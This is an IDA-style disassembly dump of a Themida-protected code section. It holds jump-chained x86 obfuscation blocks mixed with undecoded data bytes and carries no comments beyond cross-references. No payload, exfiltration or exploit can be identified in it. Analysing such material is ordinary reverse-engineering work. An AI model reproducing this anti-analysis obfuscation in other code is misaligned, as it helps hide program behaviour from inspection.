		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55D2DB
; ---------------------------------------------------------------------------
byte_55E27D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005507CCo
aS@		db '$И╫@',0
		align 2
		dw 0E0C1h
		dd 3C73E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E28E:				; CODE XREF: Themida_:005516D6j
		add	edx, edi
		pop	edi
		jmp	loc_562B96
; ---------------------------------------------------------------------------


loc_55E296:				; CODE XREF: Themida_:005570F7j
		push	ecx
		mov	ecx, 0D4104FBh
		jmp	loc_5641F0
; ---------------------------------------------------------------------------
		db 0F7h, 0E1h, 68h
		dd 4CDFh, 0E9241489h, 0FFFF2B9Eh, 64C5815Dh, 5520F610h
		dd 0FFD84FE9h, 241C8BFFh, 4C481h, 0C5810000h, 0C90AFC67h
		dd 0FF32B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E2D1:				; CODE XREF: Themida_:005623ACj
		push	eax
		mov	eax, 4
		push	ebx
		jmp	loc_565A08
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 5624248Bh, 0F33ACEBEh, 7AE6816Ah, 50259250h,	994DBA68h
		dd 0E8C15868h, 727D0505h, 0D0F733D4h, 12Dh, 27E6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E30A:				; CODE XREF: Themida_:00552483j
		push	54BDh
		mov	[esp], eax
		jmp	loc_561974
; ---------------------------------------------------------------------------


loc_55E317:				; CODE XREF: Themida_:00560B6Aj
		and	edi, 3742790Bh
		dec	edi
		sub	edi, 0A2D3D8DCh
		or	edx, edi
		jmp	loc_558DD7
; ---------------------------------------------------------------------------
		db 40h
		dd 0FF7923E9h, 4C781FFh, 33000000h, 3C31243Ch, 243C3324h
		dd 0AC32E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E346:				; CODE XREF: Themida_:00563B37j
		mov	[esp], edi
		push	ebp
		jmp	loc_556017
; ---------------------------------------------------------------------------
		db 31h
		dd 0FF042444h, 0E9582434h, 0FFFF7442h, 0B05809BBh, 8BDD3172h
		dd 0C481241Ch, 4, 1D8C581h, 0E801B8F0h,	1DD3685Dh, 14890000h
		dd 99626824h, 34FF799Bh, 0E9515A24h, 0FFFF99A3h, 72E9E588h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E393:				; CODE XREF: Themida_:0055A50Dj
		push	6317h
		mov	[esp], ebx
		push	33AAh
		mov	[esp], ebp
		jmp	loc_56559B
; ---------------------------------------------------------------------------


loc_55E3A8:				; CODE XREF: Themida_:00550A29j
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 5E5B7C0Dh
		jmp	loc_552CEB
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 526168h, 241C8900h, 0C8E95B54h, 0C1000067h
		dd 0EA6808EAh, 89000040h, 52B82404h, 0E978F329h, 58ACh
; ---------------------------------------------------------------------------


loc_55E3E4:				; CODE XREF: Themida_:0055AF7Ej
		push	edi
		jmp	loc_552830
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 6680688Eh, 3C32BA52h, 0E2816862h, 33519C8h, 8105E2C1h
		dd 0B60244F2h, 51ED8143h, 290D0B6Fh, 51C581D5h,	8B0D0B6Fh
		dd 0C4832414h, 5DEA0104h, 2105BB53h, 0E9554EC1h, 0FFFFF978h
		dd 0FD12EA81h, 0D589A823h, 0B03DE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E436:				; CODE XREF: Themida_:00550BE3j
		xor	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_561A8D
; ---------------------------------------------------------------------------
		dd 0CA5BB805h, 0D8295F38h, 0D2685257h, 5A2A4004h, 449DF281h
		dd 0D7893F56h, 0F0B6E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E45E:				; CODE XREF: Themida_:00552B5Dj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_55E470:				; CODE XREF: Themida_:00555017j
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5598B8
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 0E9242C8Bh, 0FFFFC6E2h, 3BCB68h, 241C8900h, 0FF8519E9h
		dd 0FABD55FFh, 29574777h, 0C2815DEFh, 326F119Eh, 7D24C281h
		dd 0FA016F68h, 7D24B850h, 0C2296F68h, 6B2FE958h, 0C981FFFFh
		dd 4B044E15h, 0FFED60E9h, 5AD030FFh, 48BC188h, 0DB58E924h
		dd 6F89FFFFh, 242C8B20h, 4C36E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E4ED:				; CODE XREF: Themida_:00560802j
		and	edx, 556F2B90h
		and	edx, 67544004h
		jmp	loc_55AB91
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 0FFF090E9h, 20EF81FFh, 12F4249h, 20C781C7h, 812F4249h
		dd 4B5BADC7h, 2434FF2Ch, 0E563E958h, 0CABEFFFFh, 8123BA13h
		dd 7F8536F6h, 5EF10156h, 0FF2485E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E535:				; CODE XREF: Themida_:00556D57j
		xor	edi, 8BB7BC2Ch
		xor	edx, edi
		pop	edi
		xchg	ecx, edx
		dec	ecx
		xchg	ecx, edx
		add	edx, 0F4F0A6C8h
		add	ebx, edx
		pop	edx
		pop	edi
		jmp	loc_5533CF
; ---------------------------------------------------------------------------
		dw 1368h
		dd 0E9000010h, 0FFFF3EEDh, 5203E4C0h, 0FF6209E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E565:				; CODE XREF: Themida_:0055D608j
		mov	esp, [esp]
		push	edi
		jmp	loc_556877
; ---------------------------------------------------------------------------
		dw 575Fh
		dd 0E7EBBBBFh, 5BC381DBh, 29065911h, 5BEB81FBh,	5F065911h
		dd 0FEAE9h, 88EB8000h, 0EB80CBFEh, 0E9DD28E5h, 0FFFF9D59h
; ---------------------------------------------------------------------------


loc_55E598:				; CODE XREF: Themida_:00554A70j
		mov	edx, 6BDD53E1h
		not	edx
		shr	edx, 3
		and	edx, 323979F6h
		jmp	loc_55A25A
; ---------------------------------------------------------------------------
		db 5Ah,	28h, 0F3h
		dd 0FFD139E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E5B5:				; CODE XREF: Themida_:00556C80j
		push	edx
		mov	edx, 23166DEDh
		push	edi
		mov	edi, 35907BE2h
		add	edx, edi
		pop	edi
		or	edx, 54210EDCh
		not	edx
		push	edi
		jmp	loc_560B55
; ---------------------------------------------------------------------------
word_55E5D2	dw 1CF6h		; DATA XREF: Themida_:005507D4o
		dd 0D4E99C24h, 81FFFF23h, 4C3h,	4E94E900h, 1D68FFFFh, 8900002Ch
		dd 74FF243Ch, 34FF0424h, 2434FF24h, 5835E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E5FD:				; CODE XREF: Themida_:0056366Ej
		push	eax
		mov	eax, 0FA220597h
		sub	esi, eax
		pop	eax
		add	ebp, 4D53A3Fh
		sub	ebp, esi
		sub	ebp, 4D53A3Fh
		pop	esi
		sub	esp, 4
		jmp	loc_55BD17
; ---------------------------------------------------------------------------
		dd 8158C789h, 7B55C5E9h, 81F90178h, 7B55C5C1h, 0D4E95F78h
		dd 81FFFFC0h, 264A18EBh, 37DEE945h, 0F289FFFFh,	4457E9h
		dd 81DFF700h, 36E22FF7h, 7C02E993h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E656:				; CODE XREF: Themida_:0055272Cj
		push	edx
		jmp	loc_55BCB0
; ---------------------------------------------------------------------------
		dd 0D9F6D1F6h, 8005E1C0h, 0CA3022F1h, 7E2C059h,	0E976F280h
		dd 0FFFFE187h, 6400C381h, 0D931C07Ch, 59CE095Bh, 6661F681h
		dd 0B1BB0744h, 316C2B1Dh, 0D8015EF3h, 4C0835Bh,	2474FF50h
		dd 72E95804h, 0F7FFFF80h, 9244E9DBh, 0C483FFFFh, 6FF3E904h
		dd 0E95CFFFFh, 4215h, 6467C781h, 0A5E97031h, 81FFFFC7h
		dd 0F519E5CBh, 54C38133h, 3179F8A9h, 0D0895BDAh, 5FF8015Ah
		dd 0FF8D21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E6D9:				; CODE XREF: Themida_:00562117j
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55AAA1
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 57h
		dd 0C155BF4Dh, 0E28105E2h, 499D16A3h, 361BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E705:				; CODE XREF: Themida_:00563E2Dj
		add	esp, 4
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 14FA2B0Ch
		add	eax, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5627C2
; ---------------------------------------------------------------------------


loc_55E72C:				; CODE XREF: Themida_:00554F53j
		xor	edx, 8C98952Fh
		add	eax, edx
		pop	edx
		add	ecx, eax
		jmp	loc_555F96
; ---------------------------------------------------------------------------
		dd 373FA0BAh, 0D0CA816Dh, 0E933A337h, 0FFFF3E51h, 4247429h
		dd 2404815Eh, 4D1C0D00h, 81240401h, 0D00242Ch, 4F684D1Ch
		dd 89000013h, 0AEBB241Ch, 8177804Ah, 13291EEBh,	0C3BFE94Fh
		dd 0E95EFFFFh, 0FFFF52C3h
; ---------------------------------------------------------------------------


loc_55E780:				; CODE XREF: Themida_:00553C16j
		mov	ebp, 0D5A40FBh
		jmp	loc_55DBDB
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 69A472E3h, 7BE3EE81h, 815679E6h, 61D12434h, 0E95F4612h
		dd 2E15h, 0F800132Ch, 1C8B1304h, 4C48124h, 68000000h, 502Ch
		dd 50241C89h, 0FF2799E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E7C1:				; CODE XREF: Themida_:00557FD3j
		xor	edx, [esp]
		mov	esp, [esp]
		push	4000h
		mov	[esp], ebp
		push	ecx
		push	5C73631Fh
		pop	ecx
		add	ecx, 1
		push	edx
		mov	edx, 6FDE2C34h
		xor	edx, 33AD4F2Bh
		sub	ecx, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_554B51
; ---------------------------------------------------------------------------
		db 35h
		dd 7E18938Eh, 80E9C729h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E803:				; CODE XREF: Themida_:0055DCC3j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55DA2F
; ---------------------------------------------------------------------------


loc_55E80C:				; CODE XREF: Themida_:00558F29j
		neg	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7AC3EBB5h
		add	edx, edi
		pop	edi
		mov	edi, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 3AB0F2ECh
		sub	edi, ecx
		jmp	loc_55632A
; ---------------------------------------------------------------------------


loc_55E84B:				; CODE XREF: Themida_:005558A7j
		not	edx
		add	edx, 0E6DAFCA7h
		sub	esi, edx
		pop	edx
		jmp	loc_556AD8
; ---------------------------------------------------------------------------


loc_55E85B:				; CODE XREF: Themida_:0055CD3Fj
		mov	bl, dl
		not	bl
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		xor	dl, 45h
		dec	dl
		push	25DBh
		mov	[esp], edx
		xchg	ah, [esp]
		not	ah
		xchg	ah, [esp]
		mov	edx, [esp]
		add	esp, 4
		or	dl, 0A9h
		not	dl
		not	dl
		push	small 620Ah
		jmp	loc_5648D8
; ---------------------------------------------------------------------------
		dd 6FA1EA81h, 0B85009A1h, 1, 7FCFEA81h,	0EA8124B2h, 17FE0C36h
		dd 0C281C229h, 17FE0C36h, 7FCFC281h, 0E95824B2h, 0FFFFE544h
; ---------------------------------------------------------------------------


loc_55E8C4:				; CODE XREF: Themida_:00563A79j
		add	esp, 4
		sub	al, 96h
		jmp	loc_559FBB
; ---------------------------------------------------------------------------


loc_55E8D1:				; CODE XREF: Themida_:00554FF4j
		push	edx
		mov	edx, 2FE064F8h
		push	edi
		mov	edi, 3ED9632Dh
		push	ebp
		jmp	loc_5591EF
; ---------------------------------------------------------------------------


loc_55E8E3:				; CODE XREF: Themida_:0056192Cj
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	esi
		jmp	loc_564A27
; ---------------------------------------------------------------------------
		dw 0DEBEh
		dd 8166363Ah, 54096BEEh, 3E6C147h, 1031BF57h, 0C781505Bh
		dd 2E55346Dh, 0FF34D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E919:				; CODE XREF: Themida_:00563A86j
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2D391BDEh
		xor	ebp, 2D391BDAh
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5557F9
; ---------------------------------------------------------------------------


loc_55E93E:				; CODE XREF: Themida_:0055225Dj
		add	edx, 581E16B4h
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 3FE9E189h, 5CFFFF33h, 9C240CD2h, 0FFDC96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E95D:				; CODE XREF: Themida_:00552FA9j
		mov	[esp], ebp
		push	edx
		jmp	loc_55BC08
; ---------------------------------------------------------------------------


loc_55E966:				; CODE XREF: Themida_:005564BBj
		mov	eax, [esp]
		jmp	loc_5629AA
; ---------------------------------------------------------------------------


loc_55E96E:				; CODE XREF: Themida_:00556F93j
		xor	cx, 4C45h
		add	cx, 4389h
		xor	dx, cx
		jmp	loc_559340
; ---------------------------------------------------------------------------
		dd 0D987D3F7h, 0E907E1C1h, 0FFFFE89Eh
; ---------------------------------------------------------------------------


loc_55E98C:				; CODE XREF: Themida_:0055281Aj
		neg	bh
		not	bh
		shl	bh, 4
		jmp	loc_562021
; ---------------------------------------------------------------------------
dword_55E998	dd 0E0895050h, 405h, 310FE900h ; DATA XREF: Themida_:00550898o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E9A6:				; CODE XREF: Themida_:00561797j
		sub	edx, eax
		pop	eax
		add	edx, edi
		push	ebp
		jmp	loc_55F993
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 5Bh
		dd 31241433h, 14332414h, 4895C24h, 3E4B6824h, 72E90000h
		dd 3100005Ah, 81E9241Ch, 81FFFFA6h, 0FFFFFFEDh,	14F755FFh
		dd 0E94D5D24h, 2D42h, 2D0306BBh, 0EEDFE94Eh, 0E968FFFFh
		dd 8900002Ch, 4BF243Ch,	89000000h, 243C8BF9h, 4C481h, 2DE90000h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA0B:				; CODE XREF: Themida_:0055878Dj
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_55C6B3
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8004C483h, 0B652FFEFh, 62EE8078h, 4EC8150h, 89000000h
		dd 12E9241Ch, 5900003Ah, 4C481h, 68660000h, 89665A39h
		dd 0EC812414h, 4, 0B3241C89h, 2E3C05Eh,	523EC380h, 0FF2153E9h
		dd 240489FFh, 405E089h,	5000000h, 4, 0E9240487h, 5F3Dh
		dd 148BD601h, 4C48124h,	31000000h, 38A8E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA82:				; CODE XREF: Themida_:005647BCj
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	7D4Bh
		jmp	loc_55EC01
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 6Eh
		dd 2932F329h, 4B1EE9F7h, 0EE83FFFFh, 0E4F68101h, 1E92DA6h
		dd 0B42DE9F0h, 0E181FFFFh, 3E8F500Dh, 37B1E181h, 0E9C126F3h
		dd 63E98104h, 1662F94h,	0FB8959CFh, 8B2434FFh, 0C481243Ch
		dd 4, 4C481h, 0EC830000h, 242C8904h, 0E241DEBDh, 8349E939h
		dd 0B951FFFFh, 223F7E00h, 1DE18149h, 812D870Eh,	843A08C1h
		dd 49D1F704h, 21EC181h,	0CF296EC2h, 0FFF80159h,	3C8B2434h
		dd 0CB25E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EB16:				; CODE XREF: Themida_:0056175Cj
		mov	ebp, ebx
		pop	ebx
		add	esi, ebp
		jmp	loc_555B57
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 5C241487h, 348BF529h,	4C48124h
		dd 45000000h, 457EF581h, 0ACE934D2h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EB47:				; CODE XREF: Themida_:00565AFDj
		xor	ebx, 5AA978D2h
		sub	edx, ebx
		jmp	loc_555615
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 81E78957h, 4C7h, 4C78100h, 87000000h, 0A8E9243Ch
		dd 81FFFF70h, 4C1h, 8AE95100h, 89000057h, 241C8BDDh, 4C481h
		dd 0EA290000h, 399EE95Dh, 6857FFFFh, 5EB6h, 0FF9D36E9h
		dd 4B8FFh, 0C2010000h, 0FF59FAE9h, 13BD55FFh, 8152E839h
		dd 0C2ECE6EDh, 904DE929h, 535DFFFFh, 23C3E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EBBE:				; CODE XREF: Themida_:00550DEAj
		mov	[esp], ecx
		push	eax
		mov	eax, 39F5075Eh
		mov	ecx, eax
		pop	eax
		jmp	loc_556085
; ---------------------------------------------------------------------------
		db 80h
		dd 0C8286CF1h, 240C8B66h, 8302C483h, 0AFE904ECh, 31FFFF84h
		dd 4332404h, 24248B24h,	0E92434FFh, 0FFFF24F2h
; ---------------------------------------------------------------------------


loc_55EBF4:				; CODE XREF: Themida_:0055CC3Cj
		sub	edi, 0E1FFBC84h
		mov	esi, edi
		jmp	loc_559A3B
; ---------------------------------------------------------------------------


loc_55EC01:				; CODE XREF: Themida_:0055EA8Cj
		mov	[esp], edx
		push	eax
		push	44570ACBh
		pop	eax
		sub	eax, 6DC08B4h
		mov	edx, eax
		pop	eax
		jmp	loc_5632E6
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3810000h, 4, 74C6E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC2A:				; CODE XREF: Themida_:00551B2Dj
		push	esi
		mov	esi, 5A31310Fh
		add	[esp+4], esi
		pop	esi
		pop	eax
		push	ebx
		jmp	loc_557ADC
; ---------------------------------------------------------------------------
		dd 3E3FF281h, 7BE96BA4h, 57FFFFCFh, 2E70BB53h, 73E96EA2h
		dd 1000055h, 56ED81DDh,	0E9555713h, 0FFFF7631h
; ---------------------------------------------------------------------------


loc_55EC60:				; CODE XREF: Themida_:0055D6BEj
		add	esi, 4
		jmp	loc_5578CB
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2927236Bh, 0FFA21DE9h, 525342FFh, 4E0F62BAh,	28D9BB27h
		dd 0D3299596h, 5CE94B5Ah, 0C0000059h, 0F28008E2h, 0C3EA808Bh
		dd 8904EC83h, 8850241Ch, 0D786E9D0h, 1433FFFFh,	24248B24h
		dd 24148B66h, 128D68h, 24148900h, 0CB685A54h, 89000072h
		dd 5655240Ch, 2680E9h, 0C2815A00h, 4, 4C281h, 14870000h
		dd 0CBE95C24h, 68FFFFD0h, 7CC2h, 89240C89h, 0A95E9E1h
		dd 0BA520000h, 247832F5h, 148BD629h, 4C48124h, 4E000000h
		dd 4646D6F7h, 2FE9EED1h, 81FFFF98h, 3F0714C2h, 0E9CA012Eh
		dd 5C9h, 87E9C201h, 0FFFFFF6Eh,	34FF2404h, 33E95824h, 81FFFF41h
		dd 4C3h, 0DBEEE900h, 0E6C0FFFFh, 80E68003h, 0E981C680h
		dd 57Ah
; ---------------------------------------------------------------------------


loc_55ED40:				; CODE XREF: Themida_:0055FE91j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56566D
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0C8F5E950h, 0D301FFFFh
		dd 0FF8145E9h, 0C2815AFFh, 4, 4BF57h, 0FA010000h, 5215E9h
		dd 242C8B00h, 6804C483h, 425Fh,	0B9240C89h, 4, 3A1AE9h
		dd 5FFA8900h, 34FFD031h, 54535A24h, 0E189515Bh,	4C181h
		dd 0E9830000h, 240C8704h, 2414895Ch, 3523CC68h,	14E95A2Eh
		dd 89000066h, 0DE9243Ch
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDD3:				; CODE XREF: Themida_:0055A470j
		add	ecx, ebp
		add	ecx, 41B56973h
		pop	ebp
		jmp	loc_5594FC
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 6
		dd 3088C780h, 0E9535BFDh, 0FFFFA109h, 6F5D442Dh, 2434FF37h
		dd 8324348Bh, 895204C4h, 4B951E2h, 1000000h, 0E95159CAh
		dd 0FFFFA940h, 4C381h, 0C3810000h, 4, 6E84E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EE21:				; CODE XREF: Themida_:00551472j
		mov	eax, 3F755528h
		neg	eax
		shl	eax, 8
		shl	eax, 7
		jmp	loc_556C1B
; ---------------------------------------------------------------------------
		db 30h
		dd 2434FFF0h, 0FF307AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EE3D:				; CODE XREF: Themida_:00558BB5j
		pop	esp
		jmp	loc_5577B2
; ---------------------------------------------------------------------------
		db 0BFh
		dd 77A52B73h, 0EF81D7F7h, 2ABF1538h, 5CB0F781h,	17E92E84h
		dd 68FFFFADh, 0
		dd 8A242428h, 0C4832424h, 4EC8104h, 89000000h, 44B62414h
		dd 2387E9h, 0BBAC2D00h,	0C201FFD6h, 3D50E958h, 0CD81FFFFh
		dd 4C6833D5h, 0FD87D5F7h, 0FD87DFF7h, 4CA1BE56h, 0C5816D2Dh
		dd 356F325Ah, 2EE9F529h, 8BFFFF49h, 0C481243Ch,	4, 0FFB86CE9h
		dd 405FFh, 0C1E90000h, 5A00001Eh, 0F9E9F830h, 66000033h
		dd 66240C89h, 66C8B60Fh, 0D8E99C51h, 81FFFF1Ah,	673D4FEEh
		dd 81D62922h, 673D4FC6h, 8CE95A22h, 6800004Ch, 3C4A58D0h
		dd 0EB302D58h, 0C689CA0Eh, 3101E958h, 0E8C10000h, 29633503h
		dd 0C32907B5h, 24348B58h, 158E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF11:				; CODE XREF: Themida_:00551917j
		push	cx
		pushf
		jmp	loc_564D4A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 936804C4h, 8900004Eh, 4BB241Ch, 0E9000000h
		dd 16DBh, 0FF8734FFh, 48B2434h,	4C48124h, 83000000h, 0D6E904ECh
		dd 0BFFFFFA3h, 22091B45h, 6270BE56h, 0C146225Ch, 82E907E6h
		dd 81FFFF2Ah, 4C2h, 4CE95200h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EF6B:				; CODE XREF: Themida_:00564E33j
		xor	ebp, 443B308Bh
		jmp	loc_564BEA
; ---------------------------------------------------------------------------
		dw 535Bh
		dd 66F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF7D:				; CODE XREF: Themida_:005592E0j
		pop	esi
		pop	ebp
		sub	[esp+4], ebx
		pop	ebx
		pop	ebx
		add	ebx, 91D10A0h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55D763
; ---------------------------------------------------------------------------


loc_55EFC0:				; CODE XREF: Themida_:0055DCDCj
		mov	edx, 2
		add	ecx, edx
		pop	edx
		jmp	loc_558764
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0EC8025B4h, 0F162E9ADh, 34FFFFFFh, 56F2E924h, 4890000h
		dd 38246824h, 0C890000h, 1E0F6824h, 22E9312Ah, 29FFFFA0h
		dd 5773E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFFE:				; CODE XREF: Themida_:00563A39j
		mov	[esp], edi
		push	7BA9h
		mov	[esp], ebp
		mov	ebp, 113B3720h
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559D13
; ---------------------------------------------------------------------------


loc_55F01D:				; CODE XREF: Themida_:0055B357j
		push	7249h
		jmp	loc_565102
; ---------------------------------------------------------------------------
		db 5
		dd 3E31100Dh, 8904EC83h, 0C5BD242Ch, 2905B869h,	242C8BE8h
		dd 426E9h, 0E9F90100h, 0FFFF864Dh, 0CD2FE948h, 248BFFFFh
		dd 83526624h, 72E904ECh, 0C1FFFFFFh, 685007E7h,	7FB4h
		dd 0FF4611E9h, 4C483FFh, 81242C8Bh, 4C4h, 0E930FF00h, 0FFFF1933h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BE243489h, 477953C5h
		dd 1C99EBDh, 1EED818Ch,	2909712Dh, 1EC581F5h, 8B09712Dh
		dd 0C4832434h, 0E8895004h, 204AE950h, 0E951FFFFh, 0FFFFDC62h
; ---------------------------------------------------------------------------


loc_55F0BC:				; CODE XREF: Themida_:00552527j
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		db 89h,	0DAh, 5Bh
		dd 0FF7345E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F0C9:				; CODE XREF: Themida_:00552093j
		mov	edx, 35DC5062h
		push	edi
		mov	edi, 241F7AFCh
		add	edi, 5BF82AA7h
		jmp	loc_555B0A
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0F4C381EBh, 212470D4h, 0E6815BDEh, 64934C97h, 2843BB53h
		dd 0F3811C83h, 66DB0E09h, 5954E9h, 0BF575E00h, 3E6B402Dh
		dd 1A29F781h, 0EF81306Ah, 1CA61DE0h, 0FF3F78E9h, 0D5B850FFh
		dd 0E9555E2Ah, 0FFFFC090h
; ---------------------------------------------------------------------------


loc_55F124:				; CODE XREF: Themida_:0055F6FFj
		and	edx, 43F51225h
		shl	edx, 1
		xor	edx, 6EF47B16h
		add	edx, 5021F10Dh
		add	edi, edx
		jmp	loc_559764
; ---------------------------------------------------------------------------
		db 31h
		dd 3E95EF1h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F147:				; CODE XREF: Themida_:005509B5j
		mov	[esp], ecx
		mov	ch, 0A5h
		sub	ch, 1Eh
		add	al, ch
		jmp	loc_55875C
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFDCB2h
; ---------------------------------------------------------------------------


loc_55F15C:				; CODE XREF: Themida_:00564FAFj
		mov	ebp, 5E6243D0h
		jmp	loc_55C35A
; ---------------------------------------------------------------------------


loc_55F166:				; CODE XREF: Themida_:0056180Cj
		pop	ebp
		add	ebp, 0DD02F89Ch
		mov	ebx, ebp
		pop	ebp
		add	ebx, eax
		jmp	loc_555A4F
; ---------------------------------------------------------------------------


loc_55F177:				; CODE XREF: Themida_:0055460Fj
		xchg	esi, [esp]
		jmp	loc_558826
; ---------------------------------------------------------------------------


loc_55F17F:				; CODE XREF: Themida_:00557327j
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 7
		add	ecx, 0FECAD954h
		add	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	5F734E61h
		pop	ebp
		dec	ebp
		add	ebp, 0A08CB1A4h
		add	eax, ebp
		jmp	loc_560D29
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 6855h, 0E95D0000h, 45A9h, 2C040BBAh,	24543109h, 24148B04h
		dd 0FF67BEE9h, 90EA81FFh, 118B200h, 38BE56CAh, 811D606Eh
		dd 0DF0972E6h, 0B8C68168h, 813D5D2Fh, 2F3778F6h, 59D5E95Dh
		dd 0C481FFFFh, 4, 34FFC801h, 9AE95924h,	5FFFFF70h, 5AEDBB53h
		dd 86E97E58h, 68000028h, 374Ah,	0FF9607E9h, 0E28952FFh
		dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 405E089h
		dd 81000000h, 4ECh, 241C8900h, 4EC8357h, 0E9243489h, 0FFFF82C5h
		dd 8324148Bh, 34FF04C4h, 89515E24h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0FF5C5FE9h,	0AFEA81FFh, 815C83F0h
		dd 4ECh, 24148900h, 4BE95A5Dh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F297:				; CODE XREF: Themida_:005602B7j
		dec	al
		shr	al, 4
		sub	al, 6Eh
		jmp	loc_551ABF
; ---------------------------------------------------------------------------
		db 2Dh
